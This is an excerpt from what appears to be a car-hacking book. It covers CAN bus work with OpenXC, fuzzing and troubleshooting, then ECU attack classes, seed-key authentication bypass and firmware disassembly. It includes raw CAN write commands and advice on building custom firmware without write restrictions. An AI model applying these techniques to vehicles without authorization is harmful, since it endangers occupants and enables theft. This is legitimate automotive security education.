If a vehicle supports OpenXC, you can plug a vehicle interface (VI) in to 
the CAN bus, and the VI should translate the proprietary CAN messages 
and send them to your PC so you can read the supported packets without 
having to reverse them. In theory, OpenXC should allow access to any CAN 
packet via a standard API. This access could be read-only or allow you to 
transmit packets. If more auto manufacturers eventually support OpenXC, 
it could provide third-party tools with more raw access to a vehicle than 
they would have with standard UDS diagnostic commands.

N O T E 	 OpenXC supports Python and Android and includes tools such as openxc-dump to 
display CAN activity.

The fields from OpenXC’s default API are as follows:

•	 accelerator_pedal_position

•	 brake_pedal_status

•	 button_event (typically steering wheel buttons)

•	 door_status

•	 engine_speed

•	 fuel_consumed_since_last_restart

•	 fuel_level

•	 headlamp_status

•	 high_beam_status

•	 ignition_status

•	 latitude

•	 longitude

•	 odometer

•	 parking_brake_status

•	 steering_wheel_angle

•	 torque_at_transmission

•	 transmission_gear_position

•	 vehicle_speed

•	 windshield_wiper_status

Different vehicles may support different signals than the ones listed 
here or no signals at all. 
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OpenXC also supports JSON trace output for recording vehicle journey. 
JSON provides a common data format that’s easy for most other modern 
languages to consume, as shown in Listing 5-4.

{"metadata": {
    "version": "v3.0",
    "vehicle_interface_id": "7ABF",
    "vehicle": {
        "make": "Ford",
        "model": "Mustang",
        "trim": "V6 Premium",
        "year": 2013
    },
    "description": "highway drive to work",
    "driver_name": "TJ Giuli",
    "vehicle_id": "17N1039247929"
}

Listing 5-4: Simple JSON file output

Notice how the metadata definitions in JSON make it fairly easy for 
both humans and a programming language to read and interpret. The 
above JSON listing is a definition file, so an API request would be even 
smaller. For example, when requesting the field steering_wheel_angle, the 
translated CAN packets would look like this:

{"timestamp": 1385133351.285525, "name": "steering_wheel_angle", "value": 45}

You can interface with the OpenXC with OBD like this:

$ openxc-diag –message-id 0x7df –mode 0x3

Writing to the CAN Bus
If you want to write back to the bus, you might be able to use something 
like the following line, which writes the steering wheel angle back to the 
vehicle, but you’ll find that the device will resend only a few messages to 
the CAN bus. 

$ openxc-control write –name steering_wheel_angle –value 42.0

Technically, OpenXC supports raw CAN writes, too, like this:

$ openxc-control write –bus 1 –id 42 –data 0x1234

This brings us back from translated JSON to raw CAN hacking, as 
described earlier in this chapter. However, if you want to write an app or 
embedded graphical interface to only read and react to your vehicle and 
you own a new Ford, then this may be the quickest route to those goals. 
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Hacking OpenXC
If you’ve done the work to reverse the CAN signals, you can even make your 
own VI OpenXC firmware. Compiling your own firmware means you don’t 
have any limitations, so you can read and write whatever you want and even 
create “unsupported” signals. For example, you could create a signal for 
remote_engine_start and add it to your own firmware in order to provide a 
simple interface to start your car. Hooray, open source!

Consider a signal that represents engine_speed. Listing 5-5 will set a basic 
configuration to output the engine_speed signal. We’ll send RPM data with a 
2-byte-long message ID 0x110 starting at the second byte. 

{  "name" : "Test Bench",
    "buses": {
       "hs": {
           "controller": 1,
           "speed": 500000
       }
   },
   "messages": {
      "0x110": {
         "name": "Acceleration",
         "bus", "hs",
         "signals": {
             "engine_speed_signal": {
                "generic_name": "engine_speed",
                "bit_position": 8,
                "bit_size": 16
             }
          }
       }
   }
}

Listing 5-5: Simple OpenXC config file to define engine_speed

The OpenXC config files that you want to modify are stored in JSON. 
First, we define the bus by creating a JSON file with a text editor. In the 
example, we create a JSON config for a signal on the high-speed bus run-
ning at 500Kbps.

Once you have the JSON config defined, use the following code to com-
pile it into a CPP file that can be compiled into the firmware:

$ openxc-generate-firmware-code –message-set ./test-bench.json > signals.cpp

Then, recompile the VI firmware with these commands:

$ fab reference build
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If all goes well, you should have a .bin file that can be uploaded to your 
OpenXC-compatible device. The default bus is set up in raw read/write 
mode that sets the firmware to a cautionary read-only mode by default, 
unless signals or a whole bus is set up to support writing. To set those up, 
when defining the bus, you can add raw_can_mode or raw_writable and set 
them to true.

By making your own config files for OpenXC, you can bypass the 
restrictions set up in prereleased firmware and support other vehicles 
besides Ford. Ideally, other manufacturers will begin to support OpenXC, 
but adoption has been slow, and the bus restrictions are so strict you’ll prob-
ably want to use custom firmware anyhow.

Fuzzing the CAN Bus
Fuzzing the CAN bus can be a good way to find undocumented diagnostic 
methods or functions. Fuzzing takes a random, shotgun-like approach to 
reversing. When fuzzing, you send random-ish data to an input and look 
for unexpected behavior, which in the case of a vehicle could be physical 
changes, such as IC messages, or component crashes, such as shutdowns or 
reboots.

The good news is that it’s easy to make a CAN fuzzer. The bad news is 
that it’s rarely useful. Useful packets are often part of a collection of packets 
used to cause a particular change, such as a diagnostic service that is active 
only after a successful security token has been passed to it, so it’s difficult 
to tell which packet to focus on when fuzzing. Also, some CAN packets are 
visible only from within a moving vehicle, which would be very dangerous. 
Nevertheless, don’t rule out fuzzing as a potential method of attack because 
you can sometimes use it to locate undocumented services or crashes to a 
target component you want to spoof.

Some sniffers support fuzzing directly—a feature usually found in the 
transmission section and represented by the tool’s ability to transmit pack-
ets with incrementing bytes in the data section. For example, in the case of 
SocketCAN, you can use cangen to generate random CAN traffic. Several 
other open source CAN sniffing solutions allow for easy scripting or pro-
gramming with languages such as Python. 

A good starting point for fuzzing is to look at the UDS commands, 
specifically the “undocumented” manufacturer commands. When fuzz-
ing undocumented UDS modes, we typically look for any type of response 
from an unknown mode. For instance, when targeting the UDS diagnostics 
of the ECU, you might send random data to ID 0x7DF and get an error 
packet from an unexpected mode. If you use brute-forcing tools such 
as CaringCaribou, however, there are often cleaner ways of accomplish-
ing the same thing, such as monitoring or reversing the diagnostic tools 
themselves. 
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Troubleshooting When Things Go Wrong
The CAN bus and its components are fault-tolerant, which limits the damage 
you can do when reversing the CAN bus. However, if you’re fuzzing the CAN 
bus or replaying a large amount of CAN data back on a live CAN bus net-
work, things can go wrong. Here are a few common problems and solutions. 

Flashing IC Lights 
It’s common for the IC lights to flash when sending packets to the CAN 
bus, and you can usually reset them by restarting the vehicle. If restart-
ing the vehicle still doesn’t fix the lights, try disconnecting and recon-
necting the battery. If that still doesn’t fix the problem, make sure that 
your battery is properly charged since a low battery can also make the 
IC lights flash.

Car Not Turning On 
If your car shuts off and won’t turn back on, it’s usually because you’ve 
drained the battery by working with the CAN bus while the car is not 
fully running. This can drain a battery much faster than you might 
think. To restart it, jump the vehicle with a spare battery.

If you’ve tried jumping the vehicle and it still won’t turn on, you 
may need to pull a fuse and plug it back in to restart the car. Locate the 
engine fuses in the car’s manual and begin by pulling the ones you most 
suspect are the culprits. The fuse probably isn’t blown, so just pull it out 
and put it back in to force the problem device to restart. The fuses you 
choose to pull will depend on your type of vehicle, but if your engine isn’t 
starting, you will want to locate major components to disconnect and 
check. Look for main fuses around major electronics. The fuses that con-
trol the headlamps probably are not the culprits. Use a process of elimi-
nation to determine the device that is causing the issue.

Car Not Turning Off 
You might find that you’re unable to shut the car down. This is a bad, 
but fortunately rare, situation. First, check that you aren’t flooding the 
CAN bus with traffic; if you are, stop and disconnect from the CAN bus. 
If you’re already disconnected from the CAN bus and your car still won’t 
turn off, you’ll need to start pulling fuses until it does.

Vehicle Responding Recklessly 
This will only occur if you’re injecting packets in a moving vehicle, which 
is a terrible idea and should never be done! If you must audit a vehicle 
while it’s wheels are moving, raise it off the ground or on rollers.  

Bricking 
Reverse engineering the CAN bus should never result in bricking—
that is, breaking the vehicle so completely that it can do nothing. To 
brick a vehicle, you would need to mess around with the firmware, 
which would put the vehicle or component out of warranty and is 
done at your own risk.
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Summary
In this chapter, you learned how to identify CAN wires from the jumble 
of wires under the dash, and how to use tools like cansniffer and Kayak to 
sniff traffic and identify what the different packets were doing. You also 
learned how to group CAN traffic to make changes easier to identify than 
they would be when using more traditional packet-sniffing tools, such as 
Wireshark. 

You should now be able to look at CAN traffic and identify changing 
packets. Once you identify these packets, you can write programs to trans-
mit them, create files for Kayak to define them, or create translators for 
OpenXC to make it easy to use dongles to interact with your vehicle. You 
now have all the tools you need to identify and control the components of 
your vehicle that run on CAN.



6
E C U  H ack   i ng

by Dave Blundell

A vehicle typically has as many as a dozen 
or more electronic controllers, many of 

which are networked to communicate with 
each other. These computerized devices go 

by many different names, including electronic control 
unit or engine control unit (ECU), transmission control unit 
(TCU), or transmission control module (TCM). 

While these terms may have specific meanings in a formal setting, simi-
lar terms are often used interchangeably in practice. What may be a TCU 
to one manufacturer is a TCM to another, yet both electronic controllers 
perform the same or extremely similar functions. 

Most automotive control modules have measures in place to prevent 
you from altering their code and operation; these range from very strong to 
laughably weak. You won’t know what you’re dealing with until you investi-
gate a particular system. In this chapter, we’ll take a closer look at particu-
lar security mechanisms, but first we’ll examine strategies for gaining access 
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to these systems. Then in Chapter 8 we’ll look at some more specific ECU 
hacks, like glitch attacks and debugging. The attack vectors for ECUs fall 
into three different classes:

Front door attacks  Commandeering the access mechanism of the 
original equipment manufacturer (OEM)

Backdoor attacks  Applying more traditional hardware-hacking 
approaches

Exploits  Discovering unintentional access mechanisms

We’ll look at an overview of these attack classes, and then analyze the 
data you find. It’s worth remembering that while the goal for ECU and 
other control module hacking is often the same—to gain access in order to 
reprogram and change behavior—it’s unlikely there’ll be a “master key” for 
all controllers. However, OEMs are generally not very creative and seldom 
change their ways, so insight into one controller likely applies to similar 
models from the same manufacturer. Also, few of today’s auto manufactur-
ers develop their own automotive computers from scratch, instead licensing 
prefabricated solutions from third parties like Denso, Bosch, Continental, 
and others. Because of this design methodology, it’s relatively common to 
see vehicles from different auto manufacturers using very similar computer 
systems sourced from the same vendors.

Front Door Attacks
The OBD-II standard mandates that you be able to reprogram vehicles 
through the OBD-II connector, and reverse engineering the original 
method for programming is a guaranteed attack vector. We’ll examine 
J2534 and KWP2000 as examples of common protocols for programming.

J2534: The Standardized Vehicle Communication API
The SAE J2534-1 standard, or simply J2534, was developed to promote 
interoperability among digital tool vendors through the use of the J2534 
API, which outlines the recommended way for Microsoft Windows to com-
municate with a vehicle. (You can purchase the J2534 API from the SAE at 
http://standards.sae.org/j2534/1_200412/.) Prior to the adoption of the J2534 
standard, each software vendor created its own proprietary hardware and 
drivers for communicating with a vehicle in order to perform computerized 
repairs. Because these proprietary tools weren’t always available to smaller 
shops, the EPA mandated the adoption of the J2534 standard in 2004 to 
allow independent shops access to the same specialized computer tools 
used by dealerships. J2534 introduced a series of DLLs that map standard 
API calls to instructions necessary to communicate with a vehicle, thereby 
allowing multiple manufacturers to release software designed to work with 
J2534-compatible hardware.

http://standards.sae.org/j2534/1_200412/
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Using J2534 Tools
J2534 tools provide a convenient way to observe OEM tools interacting 
with vehicle computers. Manufacturers often leverage J2534 to update com-
puter firmware and sometimes to provide powerful diagnostic software. By 
observing and capturing information exchanged with a vehicle using J2534, 
you can see how OEMs perform certain tasks, which may provide you with 
information that you need to unlock the “front door.”  

When using J2534 tools to attack vehicle systems, the basic idea is to 
observe, record, analyze, and extend functionality. Of course, the first step 
is to obtain and configure a J2534 application and its corresponding inter-
face hardware in order to perform a task you want to observe. Once you 
have your setup, the next step is to observe and record communications 
with the target while using the J2534 tools to perform an action on the tar-
get, like updating a configuration parameter.

There are two primary ways to observe J2534 transactions: by watching 
J2534 API calls on a PC using J2534 shim DLLs or by watching actual bus 
traffic using a separate sniffer tool to capture data.

J2534 tools are key to eavesdropping on the protocols built into the 
factory embedded vehicle systems, and they’re one of the primary ways to 
attack the front door. Successful analysis of this communication will give 
you the knowledge you need to access vehicle systems the way the OEMs 
do. It’ll also allow you to write applications with full access to read and 
reprogram systems, which will in turn enable you to communicate directly 
with a vehicle without having to use the J2534 interface or the OEM’s 
J2534 software. 

J2534 Shim DLLs

The J2534 shim is a software J2534 interface that connects to a physical J2534 
interface and then passes along and logs all commands that it receives. This 
dummy interface is a kind of man-in-the-middle attack that allows you to 
record all API calls between the J2534 application and the target. You can 
then examine the log of commands to determine the actual data exchanged 
between the J2534 interface and the device. 

To find an open source J2534 shim, search code.google.com for J2534-logger. 
You should also be able to find precompiled binaries.

J2534 with a Sniffer

You can also use J2534 to generate interesting traffic that you can then 
observe and record with a third party sniffer. There’s no magic here: this is 
just an excellent example of how to generate juicy packets that might other
wise be difficult to capture. (See Chapter 5 for more information on moni-
toring network traffic.)

https://code.google.com/
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KWP2000 and Other Earlier Protocols
Before J2534, there were many flash-programmable ECUs and other control 
units, such as the Keyword Protocol 2000 (KWP2000 or ISO14230). From 
an OSI networking perspective, it’s primarily an application protocol. It can 
be used on top of CAN or ISO9141 as the physical layer. You’ll find a huge 
number of KWP2000 flasher tools that interface with a PC using a serial/
USB-serial interface and that support diagnostics and flashing using this 
protocol just by searching online. (For more on the Keyword Protocol 2000, 
see Chapter 2.)

Capitalizing on Front Door Approaches: Seed-Key Algorithms
Now that we’ve discussed how legitimate tools use the front door, it’s time 
to capitalize on this attack vector by learning how to operate the figurative 
“lock on the gate.” To do this, we must understand the algorithm that the 
embedded controller uses to authenticate valid users; this is almost always a 
seed-key algorithm. Seed-key algorithms usually generate a pseudorandom 
seed and expect a particular response, or key, for each seed before allowing 
access. A typical valid exchange could look something like this:

ECU seed: 01 C3 45 22 84
Tool key: 02 3C 54 22 48

or this:

ECU seed: 04 57
Tool key: 05 58

Unfortunately, there’s no standard seed-key algorithm. You might have 
a 16-bit seed and 16-bit key, a 32-bit seed and 16-bit key, or a 32-bit seed and 
32-bit key. The algorithm that generates a key from a given seed also varies 
from platform to platform. Most algorithms are a combination of simple 
arithmetic operations and one or more values used as part of the compu-
tation. There are several techniques for figuring out these algorithms in 
order to give you access to the ECU:

•	 Obtain the firmware for the device in question through other means. 
Disassemble it and analyze the embedded code to find the code respon-
sible for generating seed-key pairs.

•	 Obtain a legitimate software tool—for example, J2534 reflash software—
that’s capable of generating legitimate seed-key pairs, and analyze the PC 
application code with a disassembler to determine the algorithm used.

•	 Observe a legitimate tool exchanging keys, and analyze the pairs for 
patterns.

•	 Create a device to spoof a legitimate tool into providing responses 
repeatedly. The main advantage of this method over purely passive 
observation is that it allows you to pick seeds for which you can repro-
duce the keys.
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You can find more information about reverse engineering the seed-key 
algorithms used by General Motors at http://pcmhacking.net/forums/viewtopic​
.php?f=4&t=1566&start=10, and those used by VAG MED9.1 at http://
nefariousmotorsports​.com/forum/index.php?topic=4983.0.

Backdoor Attacks
Sometimes front door attacks are too tricky; you may not have the right tools 
or the lock might be too hard to figure out. Don’t despair—remember that 
automotive control modules are embedded systems, so you can use all the 
usual hardware-hacking approaches. In fact, using more direct-to-hardware 
backdoor approaches often makes more sense than trying to reverse engi-
neer the front door lock placed by the factory, especially when trying to 
reprogram engine modules. If you can obtain a dump of the module, you 
can often disassemble and analyze it to figure out how the keys to the front 
door work. The first step in a hardware backdoor attack is analyzing the cir-
cuit board. 

When reversing a circuit board of any system, you should start with the 
largest chips first. These larger processor and memory chips are likely to 
be the most complex. It’s a good idea to make a list of part numbers to feed 
to Google, datasheets.com, or something similar, to obtain a copy of the data 
sheet. You’ll sometimes encounter custom application-specific integrated cir-
cuits (ASICs) and one-off chips, especially with older ECUs, which will prove 
more difficult than off-the-shelf parts. In many cases, you’ll have to infer the 
function of these parts based on how they’re connected to identifiable parts.

It’s critical to look out for memory chips—SRAM, EEPROM, FlashROM, 
one-time-programmable ROM, serial EEPROM, serial flash, NVSRAM, and 
so on. The type of memory used varies immensely from one platform to 
another; every single variety listed here has been found in the wild. Newer 
designs are less likely to have parallel memories and more likely to have 
serial chips. Newer microcontrollers are less likely to have any external mem-
ories at all, as their internal flash capacities have dramatically increased. 
Any nonvolatile memory chip present can be removed from the circuit 
board, read, and then replaced. Chapter 8 goes into much more detail on 
reverse engineering the circuit board.

Exploits
Although arguably just another example of a backdoor approach, exploits 
deserve special attention. Rather than taking apart a computer, exploits 
involve feeding a system carefully crafted inputs to make it do things out-
side normal operation. Typically, exploits build on a bug or problem. This 
bug might cause a system to crash, reboot, or perform some undesirable 
behavior from the perspective of the vehicle user. Some of these bugs pres-
ent the opportunity for buffer overflow attacks, which open the door for 
commandeering the vulnerable device merely by feeding it unexpected 

http://pcmhacking.net/forums/viewtopic.php?f=4&t=1566&start=10
http://pcmhacking.net/forums/viewtopic.php?f=4&t=1566&start=10
http://nefariousmotorsports.com/forum/index.php?topic=4983.0
http://nefariousmotorsports.com/forum/index.php?topic=4983.0
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inputs. A cleverly crafted set of inputs triggers the bug, which then makes 
the device execute arbitrary code provided by the attacker instead of trig-
gering the usual fault condition.

Not all bugs can be turned into exploits, however—some bugs only 
cause problems or shut down core systems. And while bugs are usually dis-
covered by accident, most exploits require careful craft. It is unlikely that 
you’d be able to turn a known bug into an exploit without also having prior 
knowledge of the system, usually gained from firmware analysis. At a bare 
minimum, you’d need basic knowledge of the architecture in order to write 
the necessary code. Most of the time, this knowledge needs to be gathered 
through research prior to writing an exploit. 

It’s hard to find bugs that make suitable attack vectors and it’s often just 
as difficult to write exploits for them, so exploits that build on bugs are fairly 
uncommon. While it is foolish to discount the relevance of exploits, the other 
methods presented here and in Chapter 8 are much more practical paths to 
understanding and reprogramming automotive systems in most cases.

Reversing Automotive Firmware
Hacking into an automotive control module far enough to retrieve its cur-
rent firmware and configuration is really just the beginning of the adven-
ture. At this point, you probably have anywhere from 4KB to 4MB of raw 
machine-ready code, with a mixture of various parameters and actual code 
that forms the program the processor will run. Let’s say you have a binary 
blob in the firmware from one of the hacks in this chapter or the chapters 
later in this book. Next you need to disassemble the binary.

First, you must know which chip this binary is for. There are several 
free decompilers for different chips out on the Internet. Otherwise you can 
drop some cash and buy IDA Pro, which supports a large variety of chips. 
These tools will convert the hex values in the binary into assembler instruc-
tions. The next stage is to figure out what exactly you are looking at.

When you’re starting to analyze raw data, a high-level understanding of 
the function of the devices you’re reverse engineering will be key to know-
ing what to look for. You can follow a number of breadcrumbs, or clues, for 
starters; these breadcrumbs are almost guaranteed to lead you to interest-
ing and useful material. Next, we’ll look at a few specific examples of how 
to use common automotive controller functions to gain insight into their 
operation, which will hopefully allow us to change their behavior.

Self-Diagnostic System
Every engine controller has some type of self-diagnostic system that typically 
monitors most critical engine functions, and analyzing this is an excellent 
route to understanding firmware. A good first step in investigative disas-
sembly is to identify the location of these procedures. This will provide 
you with insight into the memory locations involved in all of the sensors 
and functions that are checked for errors. Any modern vehicle should 
support OBD-II packets, which standardize the diagnostic data reported. 
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Even controllers created prior to OBD-II standards have a way to report 
faults. Some have a system where an analog input is shorted to ground and 
either an internal LED or the “check engine” light flashes out the code. For 
example, knowing that code 10 refers to a failed intake air temperature sen-
sor means you can find the piece of code that sets error code 10 to help you 
identify the internal variables associated with the air temperature sensor.  

For more detailed information on using diagnostics, see Chapter 4.

Library Procedures 
Being able to change the behavior of a control unit is often one of the pri-
mary goals of reverse engineering ECU firmware, and identifying data used 
by a controller is an important step in the process. Most ECUs have a set of 
library functions used for routine tasks throughout the code. Library func-
tions used for table lookups are worth identifying early on in the reverse engi-
neering process, as these can lead straight to the parameters you’re interested 
in. Each time a table is used, a function is called to fetch a result. Calls to this 
type of function are among the most frequent, making them easy to spot.

Usually each type of data stored within the ECU—one-dimensional 
array of bytes; two-dimensional array of words; three-dimensional array of 
unsigned, signed, and float shorts; and so on—has a unique reference func-
tion. When called, each table lookup routine needs to be passed, at a mini-
mum, the table index (or start address) and the axis variables. Often, table 
lookup routines can be reused to pass information about the structure of 
the table, such as how many rows and columns are present. 

Calibration data is usually stored in program memory, along with the 
routines accessing them. Microcontrollers typically have special instructions 
to access program memory, which provide a unique signature to search for 
and make table lookup routines particularly easy to spot. A secondary charac-
teristic of these lookup routines is that they tend to have lots of interpolation 
math. In addition, table lookup routines are often grouped closely together 
in program memory, making it even easier to find others after you’ve found 
one. After identifying reference routines, searching for all calls to them can 
provide a key to identifying the vast majority of data used by the controller to 
make decisions. The arguments passed to these functions typically include 
the start address of a table, its structure or shape, and which variables index 
elements of the table. Armed with this information, you’re much closer to 
being able to change the behavior of the controller.

Finding Known Tables

One way to identify tables is to leverage the specific physical and electrical 
characteristics of vehicle sensors, which will display identifiable character-
istics within ECU firmware. For example, an ECU with a MAF sensor will 
have a table that translates raw readings of voltage or frequency from the 
MAF into airflow into the engine, providing an internal representation. 

Fortunately for us, the signal output from an MAF is determined by 
physics—that is, King’s Law—so the curve will always have a characteristic 
shape, though it’ll be slightly different for each sensor. This will result in the 
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tables having a characteristic set of values that can be observed in the ROM. 
Armed with the knowledge that there will be universal data to identify, let’s 
take a closer look at how calibration data is displayed in different programs.

Figures 6-1 and 6-2 show similarly shaped Ford and Nissan sensor 
curves; the similarity they illustrate extends to multiple manufacturers.

Figure 6-1: Ford MAF transfer graph

Figure 6-2: Nissan MAF VQ graph

Figures 6-2 through 6-6 show five different views of the same data. 
Figure 6-3 shows how the VQ curve pictured in Figure 6-2 would look in 
a hex editor.
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Figure 6-3: VQ table in HxD hex editor: 128 bytes or 64- to 16-bit words

Figures 6-4 and 6-5 show the VQ table in analyze.exe available from 
https://github.com/blundar/analyze.exe/. A simple visualization tool, analyze.exe 
colors cells based on their numeric value. You can select the precision of the 
data—for example, 1 = 8-bit byte, 2 = 16-bit word, and 4 = 32-bit long—
and how many rows and columns you want present. This simple visual 
arrangement often makes it easier to identify what is code and what is data 
than it is when you’re using a hex editor, as in Figure 6-3. 

Figure 6-4: VQ table in analyze.exe: values from 48 to 65535 in first four rows of 16×16-bit values

Figure 6-5: First four rows of 16x16-bit values

https://github.com/blundar/analyze.exe/
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Look again at the first four rows of 16×16-bit values in Figures 6-4 
and 6-5 shaded in analyze.exe. Notice how the smooth nonlinear curve in 
Figures 6-1 and 6-2 mimics the smooth nonlinear progression of values. 
Figure 6-6 shows the same values in a 64-column layout, so you can see the 
full gradient of the first four rows from Figure 6-5. No matter what type of 
vehicle you’re looking at, the overall data structures will be similar.

Figure 6-6: 64- to 16-bit words per row

Data visualization tools like hex editors or analyze.exe can also be useful 
when you don’t know the exact shape or pattern you are looking for. No mat-
ter what type of vehicle you’re looking at, data structures will have orders and 
patterns that are not typically seen in executable code. Figure 6-7 shows an 
example of the clear visual pattern of data in analyze.exe—gradually chang-
ing values and repetition should stand out. 

Figure 6-7: Patterns and gradual changes in table data appear  
in a 2002 Chevrolet Camaro ROM visualized with analyze.exe

On the other hand, when you look at code like that in Figure 6-8, 
there is a more random, chaotic appearance. (In Figures 6-7 and 6-8, preci-
sion is set to 2 because the microcontroller unit used is a 16-bit processor 
and it’s reasonable to assume that a good chunk of the data items will be 
16-bit as well.)
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Figure 6-8: This random code doesn’t have the neat, orderly patterns  
that are present in most tables.

More to Learn from the MCU

Hopefully, these examples help connect knowledge of the table data you 
expect to find with their representation within a binary blob. Learning 
the capabilities of the microcontroller unit (MCU) used in a target sys-
tem can shed light on the types of data to expect when looking over the 
binary data.

Generally, data representation formats are dictated by the hardware 
present. Knowing the size of registers on the MCU running the show can 
be a big help for identifying parameters. Most parameters tend to be the 
same size as or smaller than the registers of a given MCU. An 8-bit MCU, 
like a 68HC11, is likely to have lots of 8-bit data. It’s unusual to see mostly 
4-byte, or 32-bit, unsigned long integers on an 8-bit MCU. While 16-bit data 
becomes more common on MCUs like the 68332, 32-bit data becomes the 
norm with MPC5xx Power Architecture MCUs and so on. It’s unusual to 
find floating-point data on an MCU that lacks a floating-point processor. 

Comparing Bytes to Identify Parameters
It’s often possible to get multiple bins that’ll run on the same physical ECU. 
The more the better! Doing a simple compare in a hex editor will show which 
bytes differ between the files. It’s common—but not guaranteed—for code 
to remain unchanged while parameters change. If less than 5 percent of the 
files differ, it’s generally safe to assume that the differences are parameters. 
If you know what’s been changed functionally between the two bins and you 
know which bytes have changed, you have further clues to help correlate 
changes in the ROM with changes in parameters. 
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Figures 6-9 and 6-10 compare a 1996 V8 Mustang and a 1997 V6 
Thunderbird, showing 6,667 differences out of 114,688 bytes. This is an 
extreme example of having the same code with different parameters, 
but there’s still only about a 5.8 percent difference compared to overall 
file size.

Most processors use an interrupt vector table defined by the processor 
being used. Referencing the processor’s data sheet will define the struc-
ture of interrupt routines, allowing you to quickly identify the interrupt 
handlers. Tracing interrupt pins on the processor to circuitry within the 
ECU to pins you can reference in a vehicle wiring diagram can help you 
identify code blocks used to service such hardware functions as fuel and 
spark control, crank and cam signal processing, and idle functions.

Figure 6-9: Comparison of a 1996 V8 Mustang (DXE2.bin) and a 1997 V6 Thunderbird (SPP3.bin)
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Figure 6-10: File compare function of the HxD hex editor

Identifying ROM Data with WinOLS
WinOLS is a popular commercial program for modifying bins. It com-
bines a series of tools for calculating and updating checksums within a 
ROM with a set of tools for identifying tables. Figures 6-11 and 6-12 illus-
trate WinOLS in use.

If the ROM type is known, it has many templates that automatically 
identify configuration parameters. Most of the known built-in ROM types 
are geared toward Bosch Motronic ECUs. Templates and configurations 
can be saved, shared, and sold to enable users to make modifications to spe-
cific files with greater ease. WinOLS is arguably the most common software 
used for identifying interesting data within a ROM that doesn’t involve code 
analysis. It’s designed to facilitate rapid tuning changes to a controller. 
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Code Analysis
Code analysis can be a long, complicated task. If you’re starting from scratch, 
with no experience, it will likely take hundreds of hours to analyze a complex 
piece of code. Modern control units often have upward of a megabyte or two 
of code, which is a huge amount of code when you’re looking at it in assem-
bly. An ECU from 1995 with 32 kilobytes (not megabytes) of code will have 
upward of 10,000 assembly instructions to sort out. Bottom line: do not 
underestimate how much work this approach will take. I’ll briefly introduce 
a few tools, but I don’t have the space to address the topic in sufficient depth 
for someone unfamiliar with the process. (After all, entire books have been 
written solely on code analysis.) Here, I’ll just talk through specific tools 
and methods particularly applicable to automotive embedded systems.

When analyzing a new target, first identify the architecture you’re work-
ing with. Knowing what processor executed the blob of binary will help you 
choose an appropriate software tool to further assist. If you can’t identify a 
processor based on the markings on the chip itself, search online for data 
sheets to identify it.

To analyze code, you might need to find a disassembler. A quick Google 
search reveals that there are lots of them out there. Some target a single 
architecture—for example, Dis51—and some are custom-written for automo-
tive reverse engineering—for example, Dis66k. Others, like CATS dasm, IDA 
Pro, Hopper, dasmx, and objdump from the GNU Binary Utilities (binutils), 
target multiple processors. IDA Pro supports more embedded targets than 
just about any other program, but it’s also one of the most expensive dis
assemblers. GNU binutils also supports a pretty wide range of architectures, 
but the version included on most systems will be built only for the “native” 
architecture. Rebuilding binutils with all architectures enabled will open a 
few doors. Your budget and supported processors will determine which dis-
assemblers are an option.

Bust out the disassembly tools and start trying to make sense of the 
mess, but as I warned earlier, this might take hundreds of hours. A divide-
and-conquer mentality works best—focus on the smaller tasks rather than 
the project as a whole. If you obtained the binary by backdoor methods, 
you probably already took the ECU apart to identify the processor. If you 
cracked the J2534 programming routines, you might not have a clue what 
processor is running the show. In this case, you’re going to need to keep 
running it through a disassembler over and over using different settings 
until you get something that makes sense. 

You’re looking for assembly code that disassembles cleanly, meaning 
that it looks like it makes logical sense. If you disassemble a binary for the 
wrong architecture or using the wrong settings, you’ll still see assembly 
instructions, but the assembler actions won’t make sense. Disassembly is a 
bit of an art, and it may take a little practice at seeing a “clean” assembler 
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to get the hang of identifying when a dissassembler is providing the cor-
rect response, especially when nonexecutable tables and data are scattered 
among the code.

Here are some hints for making sense of disassembled code:

•	 OEMs love to patent stuff. If you can find the patents relevant to your sys-
tem, you may end up with a guided tour of the code being disassembled. 
This is probably the most consistently available high-level procedural 
guide to help you understand the logic in an automotive computer. 
Patents usually lead production by at least one to two years, if not more.

•	 Look at any available software for manipulating the ECU at hand for 
insight into the structure and purpose of code segments. You can often 
infer a model of behavior from tables available to be modified in after-
market software.

•	 Otherwise, start with a wiring diagram for the vehicle, and trace con-
nections back through ECU circuitry to particular pins on the MCU. 
This should tell you which piece of MCU hardware handles which func-
tion. Cross reference the interrupt tables, or look for calls to service 
particular pieces of hardware in order to identify which piece(s) of 
code service that hardware function.

A plain, or old-style, disassembler will output very verbose text. Each 
individual instruction is parsed. Some disassemblers will attempt to mark 
areas referenced as data and void disassembling them. Other disassemblers 
need to be specifically told which areas are code and which areas are data.

A Plain Disassembler at Work
To see disassembly in action, we’ll look at a plain disassembly of a 1990 
Nissan 300ZX Twin Turbo ROM. This ECU has a 28-pin external 27C256 
EPROM, so it’s relatively easy to obtain its contents. This particular plat-
form uses a HD6303 MCU, a derivative of the Motorola 6800 8-bit MCU 
that appears to be supported by the free disassembler DASMx (see http://
www.16paws.com/ECU/DASMxx/DASMx.htm). DASMx comes with minimal 
instructions: to disassemble foo.bin, create a file, foo.sym, that describes which 
platform is in use, and then create an entry point in memory to place the 
image, symbols you know about, and so on. Time for a crash course in the 
architecture!

A critical point about the memory structure is that the MCU can 
address 65535 bytes (64KB). This information tells you what to expect 
when looking at the addresses in your binary blob. Further reading suggests 
that the interrupt vector table lies at the end of addressable memory, with the 
reset vector—where every processor starts after a reset—at 0xFFFE/0xFFFF. 
Assuming that the 32KB (0x7FFF hex) binary blob we have from reading the 

http://www.16paws.com/ECU/DASMxx/DASMx.htm
http://www.16paws.com/ECU/DASMxx/DASMx.htm
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EPROM contains the interrupt vector table, we can figure out that the binary 
image needs to start at memory address 0x8000 for it to end at 0xFFFF 
(0xFFFF – 0x7FFF = 0x8000). It also helps to search online to see whether 
others are trying to do something similar. For example, the post at http://
forum.nistune.com/viewtopic.php?f=2&t=417 is for a smaller 16KB binary based 
on settings for a 0xC000 entry point. The more legwork and research you 
do prior to actually invoking a disassembler, the more likely you are to get 
reasonable results.

Figure 6-13 shows the symbol table for the 300ZX binary. Next to 
each symbol is the memory address used by the firmware. These memory 
addresses can hold values such as incoming data from different physical 
pins on the chip or internal information, like timing.

Figure 6-13: Symbol file for 32KB 300ZX binary disassembly with DASMx

http://forum.nistune.com/viewtopic.php?f=2&t=417
http://forum.nistune.com/viewtopic.php?f=2&t=417
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We’ll use DASMx to disassemble the binary. As shown in Figure 6-14, 
DASMx reports a Hitachi 6303 MCU with a source file length, or size, of 
32KB, which is 32768 bytes.

Figure 6-14: Running DASMx to disassemble 32KB 300ZX binary

Now cross your fingers and hope for a meaningful result!
The result is the vector table shown in Figure 6-15, which looks sane 

